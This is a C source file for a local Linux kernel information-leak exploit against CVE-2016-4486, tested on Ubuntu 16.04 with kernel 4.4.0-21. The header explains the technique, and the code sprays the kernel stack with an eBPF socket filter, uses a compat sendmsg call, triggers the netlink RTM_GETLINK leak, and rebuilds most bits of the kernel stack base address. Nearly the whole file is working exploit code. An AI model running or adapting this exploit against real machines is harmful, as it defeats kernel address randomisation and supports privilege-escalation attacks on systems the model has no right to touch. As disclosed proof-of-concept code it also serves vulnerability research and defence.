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/* * [ Briefs ] *- CVE-2016-4486 has discovered and reported by Kangjie Lu. *- This is local exploit against the CVE-2016-4486. * * [ Tested version ] *- Distro :Ubuntu 16.04 *- Kernel version :4.4.0-21-generic *- Arch : x86_64 * * [ Prerequisites ] *- None * * [ Goal ] *- Leak kernel stack base address of current process by exploiting CVE-2016-4486. * * [ Exploitation ] *- CVE-2016-4486 leaks 32-bits arbitrary kernel memory from uninitialized stack. *- This exploit gets 61-bits stack base address among the 64-bits full address. *remaining 3-bits is not leaked because of limitation of ebpf. *- Full exploitation are performed as follows. * *1. Spraying kernel stack as kernel stack address via running ebpf program. * - We can spray stack up to 512-bytes by running ebpf program. * - After this step, memory to be leaked will be filled with kernel stack address. *2. Trigger CVE-2016-4486 to leak 4-bytes which is low part of stack address. * - After this step, stack address :0xffff8800????????;(? is unknown address yet.) *3. Leak high 4-bytes of stack address. The leaking is done as one-by-one bit. why one-by-one? * - CVE-2016-4486 allows to leak 4-bytes only, so that we always get low 4-bytes of stack address. * - Then, How to overcome this challenge?? The one of possible answer is that * do operation on high-4bytes with carefully selected value which changes low-4bytes. * For example, Assume that real stack address is 0xffff880412340000; * and, do sub operation. ==> 0xffff880412340000 - 0x0000000012360000 (selected value); * The result will be "0xffff8803....." ==> Yap! low 4-bytes are changed!! and We can see this! * The result makes us to know that high 4-bytes are smaller than 0x12360000; * Then, We can keep going with smaller value. * - The algorithm is quite similar to quick-search. *4. Unfortunately, ebpf program limitation stops us to leak full 64-bits. * - 3-bits (bit[16], bit[15], bit[14]) are not leaked. * - But, Since 3-bit is not sufficient randomness, It's very valuable for attacker. *Bonus) Why do I use compat_sendmsg() instead of normal sendmsg()? * - When I did spraying stack with normal sendmsg(), I couldn't spray up to memory to be leaked. * - If I use compat-sendmsg(), The execution path will be different from normal sendmsg(). * This makes me to spray it more far. * * [ Run exploit ] *- $ gcc poc.c -o poc *- $ ./poc *.... *.... *leak stack address range : *-----from :ffff88007f7e0000 *--------to : ffff88007f7fc000 * (Since we can get 61-bit address, Print the possible address range out.) * * [ Contact ] *- jinb.park7@gmail.com *- github.com/jinb-park */ #include <asm/types.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <sys/syscall.h> #include <asm/unistd_64.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <linux/bpf.h> #include <linux/filter.h> #define GPLv2 "GPL v2" #define ARRSIZE(x) (sizeof(x) / sizeof((x)[0])) #define INTERFACE_INDEX (0) #define LEAK_OFFSET (28) /* * BPF-based stack sprayer */ /* registers */ /* caller-saved: r0..r5 */ #define BPF_REG_ARG1BPF_REG_1 #define BPF_REG_ARG2BPF_REG_2 #define BPF_REG_ARG3BPF_REG_3 #define BPF_REG_ARG4BPF_REG_4 #define BPF_REG_ARG5BPF_REG_5 #define BPF_REG_CTX BPF_REG_6 #define BPF_REG_FPBPF_REG_10 #define BPF_MOV32_REG(DST, SRC) \ ((struct bpf_insn) {\ .code= BPF_ALU | BPF_MOV | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) #define BPF_LDX_MEM(SIZE, DST, SRC, OFF)\ ((struct bpf_insn) {\ .code= BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) #define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ ((struct bpf_insn) {\ .code= BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM }) #define BPF_STX_MEM(SIZE, DST, SRC, OFF)\ ((struct bpf_insn) {\ .code= BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) #define BPF_STX_ADD_MEM(SIZE, DST, SRC, OFF)\ ((struct bpf_insn) {\ .code= BPF_STX | BPF_XADD | BPF_SIZE(SIZE),\ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) #define BPF_MOV64_IMM(DST, IMM) \ ((struct bpf_insn) {\ .code= BPF_ALU64 | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_EXIT_INSN() \ ((struct bpf_insn) {\ .code= BPF_JMP | BPF_EXIT,\ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 }) #define BPF_MOV64_REG(DST, SRC) \ ((struct bpf_insn) {\ .code= BPF_ALU64 | BPF_MOV | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) #define BPF_ALU64_IMM(OP, DST, IMM) \ ((struct bpf_insn) {\ .code= BPF_ALU64 | BPF_OP(OP) | BPF_K,\ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_ALU64_REG(OP, DST, SRC) \ ((struct bpf_insn) {\ .code= BPF_ALU64 | BPF_OP(OP) | BPF_X,\ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) int bpf_(int cmd, union bpf_attr *attrs) { return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); } int prog_load(struct bpf_insn *insns, size_t insns_count) { char verifier_log[100000]; union bpf_attr create_prog_attrs = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insn_cnt = insns_count, .insns = (uint64_t)insns, .license = (uint64_t)GPLv2, .log_level = 1, .log_size = sizeof(verifier_log), .log_buf = (uint64_t)verifier_log }; int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs); int errno_ = errno; errno = errno_; if (progfd == -1) { printf("bpf prog load error\n"); exit(-1); } return progfd; } int create_socket_by_socketpair(int *progfd) { int socks[2]; if (socketpair(AF_UNIX, SOCK_SEQPACKET, 0, socks)) { printf("socketpair error\n"); exit(-1); } if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, progfd, sizeof(int))) { printf("setsockopt error\n"); exit(-1); } return socks[1]; } int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) { int progfd = prog_load(insns, insns_count); return create_socket_by_socketpair(&progfd); } #define NR_sendmsg_32 370 // for 32-bit typedef unsigned int compat_uptr_t; typedef int compat_int_t; typedef unsigned int compat_size_t; typedef unsigned int compat_uint_t; struct compat_msghdr { compat_uptr_t msg_name; /* void * */ compat_int_tmsg_namelen; compat_uptr_t msg_iov;/* struct compat_iovec * */ compat_size_t msg_iovlen; compat_uptr_t msg_control;/* void * */ compat_size_t msg_controllen; compat_uint_t msg_flags; }; struct compat_iovec { compat_uptr_t iov_base; compat_size_t iov_len; }; int sendmsg_by_legacy_call(int fd, unsigned int msg, int flags) { int r = -1; asm volatile ( "push %%rax\n" "push %%rbx\n" "push %%rcx\n" "push %%rdx\n" "push %%rsi\n" "push %%rdi\n" "mov %1, %%eax\n" "mov %2, %%ebx\n" "mov %3, %%ecx\n" "mov %4, %%edx\n" "int $0x80\n" "mov %%eax, %0\n" "pop %%rdi\n" "pop %%rsi\n" "pop %%rdx\n" "pop %%rcx\n" "pop %%rbx\n" "pop %%rax\n" : "=r" (r) : "r"(NR_sendmsg_32), "r"(fd), "r"(msg), "r"(flags) : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi" ); return r; } #define COMPAT_SENDMSG void trigger_proc(int sockfd) { #ifdef COMPAT_SENDMSG struct compat_msghdr *msg = NULL; struct compat_iovec *iov = NULL; #else struct msghdr *msg = NULL; struct iovec *iov = NULL; #endif char *buf = NULL; int r; // allocate under-32-bit address for compat syscall msg = mmap(0x70000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (msg == MAP_FAILED) { printf("mmap error : %d, %s\n", errno, strerror(errno)); exit(0); } buf = mmap(0x90000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (buf == MAP_FAILED) { printf("mmap error : %d, %s\n", errno, strerror(errno)); exit(0); } iov = mmap(0xb0000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (buf == MAP_FAILED) { printf("mmap error : %d, %s\n", errno, strerror(errno)); exit(0); } #ifdef COMPAT_SENDMSG iov->iov_base = (compat_uptr_t)buf; #else iov->iov_base = buf; #endif iov->iov_len = 128; msg->msg_name = NULL; msg->msg_namelen = 0; #ifdef COMPAT_SENDMSG msg->msg_iov = (compat_uptr_t)iov; #else msg->msg_iov = iov; #endif msg->msg_iovlen = 1; msg->msg_control = NULL; msg->msg_controllen = 0; msg->msg_flags = 0; #ifdef COMPAT_SENDMSG r = sendmsg_by_legacy_call(sockfd, (unsigned int)msg, 0); #else r = sendmsg(sockfd, msg, 0); #endif if (r < 0) { printf("sendmsg error, %d, %s\n", errno, strerror(errno)); exit(-1); } } int sockfds = -1; void stack_spraying_by_bpf(unsigned long val) { int r; struct bpf_insn stack_spraying_insns[] = { BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -val), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -368), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -376), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -384), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -392), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -400), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -408), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -416), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -424), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -432), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -440), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -448), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -456), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -464), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -472), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -480), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -488), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -496), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -504), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -512), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN() }; sockfds = create_filtered_socket_fd(stack_spraying_insns, ARRSIZE(stack_spraying_insns)); if (sockfds < 0) return; trigger_proc(sockfds); close(sockfds); //sleep(1); } /* 28byte, 32byte including padding struct rtnl_link_ifmap { __u64 mem_start; __u64 mem_end; __u64 base_addr; __u16 irq; __u8dma; __u8port; };*/ // rtnl_fill_link_ifmap <-- rtnl_fill_ifinfo (symbol) struct { struct nlmsghdr nh; struct ifinfomsg ifm; char attrbuf[512]; } req; // Ubuntu 4.4.0-21-generic #define RANGE_MIN_MASK ~((1<<16) | (1<<15) | (1<<14)) // and #define RANGE_MAX_MASK ((1<<16) | (1<<15) | (1<<14)) // or int main(int argc, char **argv) { unsigned char buf[65535]; unsigned char map_buf[36] = {0,}; struct nlmsghdr *nl_msg_ptr; struct ifinfomsg *inf_msg_ptr; struct rtnl_link_ifmap *map_ptr; struct rtattr *rta_ptr; int size, len, attr_len, offset; int progfd; unsigned int sub_val = 0; unsigned int leak_value; unsigned long leak_full_stack = 0; unsigned int low_stack = 0; int i; for (i=0; i<16; i++) { int rtnetlink_sk = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE); memset(&req, 0, sizeof(req)); req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); req.nh.nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST; req.nh.nlmsg_type = RTM_GETLINK; req.nh.nlmsg_seq = 1; req.ifm.ifi_family = AF_UNSPEC; req.ifm.ifi_index = INTERFACE_INDEX; req.ifm.ifi_change = 0xffffffff; if (i == 0) sub_val = 0; else sub_val += (1 << (32 - i)); stack_spraying_by_bpf((unsigned long)sub_val); if (send(rtnetlink_sk, &req, req.nh.nlmsg_len, 0) < 0) { printf("send error\n"); goto out; } while (1) { if ((size = recv(rtnetlink_sk, buf, sizeof(buf), 0)) < 0) { fprintf(stderr, "ERROR recv(): %s\n", strerror(errno)); goto out; } for (nl_msg_ptr = (struct nlmsghdr *)buf; size > (int)sizeof(*nl_msg_ptr);) { len = nl_msg_ptr->nlmsg_len; if (nl_msg_ptr->nlmsg_type == NLMSG_ERROR) { printf("NLMSG_ERROR\n"); goto out; } else if (nl_msg_ptr->nlmsg_type == NLMSG_DONE) break; if (!NLMSG_OK(nl_msg_ptr, (unsigned int)size)) { printf("Not OK\n"); goto out; } attr_len = IFLA_PAYLOAD(nl_msg_ptr); inf_msg_ptr = (struct ifinfomsg *)NLMSG_DATA(nl_msg_ptr); rta_ptr = (struct rtattr *)IFLA_RTA(inf_msg_ptr); for (; RTA_OK(rta_ptr, attr_len); rta_ptr = RTA_NEXT(rta_ptr, attr_len)) { if (rta_ptr->rta_type == IFLA_MAP) { if (rta_ptr->rta_len != sizeof(map_buf)) { printf("wrong size\n"); goto out; } memcpy(map_buf, RTA_DATA(rta_ptr), sizeof(map_buf)); map_ptr = &map_buf; leak_value = *(unsigned int *)(map_buf + LEAK_OFFSET); printf("leak_value : %08x\n", leak_value); break; } } size -= NLMSG_ALIGN(len); nl_msg_ptr = (struct nlmsghdr *)((char *)nl_msg_ptr + NLMSG_ALIGN(len)); } break; } if (low_stack == 0) low_stack = leak_value; else if (leak_value != low_stack) sub_val &= (~(1 << (32 - i))); // clear bit memcpy((unsigned char *)&leak_full_stack + 4, &low_stack, 4); memcpy((unsigned char *)&leak_full_stack, &sub_val, 4); printf("[try-%d] stack address : %lx\n", i, leak_full_stack); out: close(rtnetlink_sk); } printf("=======================================================================\n"); printf("leak stack address range : \n"); printf("-----from :%lx\n", leak_full_stack & RANGE_MIN_MASK); printf("--------to : %lx\n", leak_full_stack | RANGE_MAX_MASK); printf("======================================================================\n"); return 0; } |
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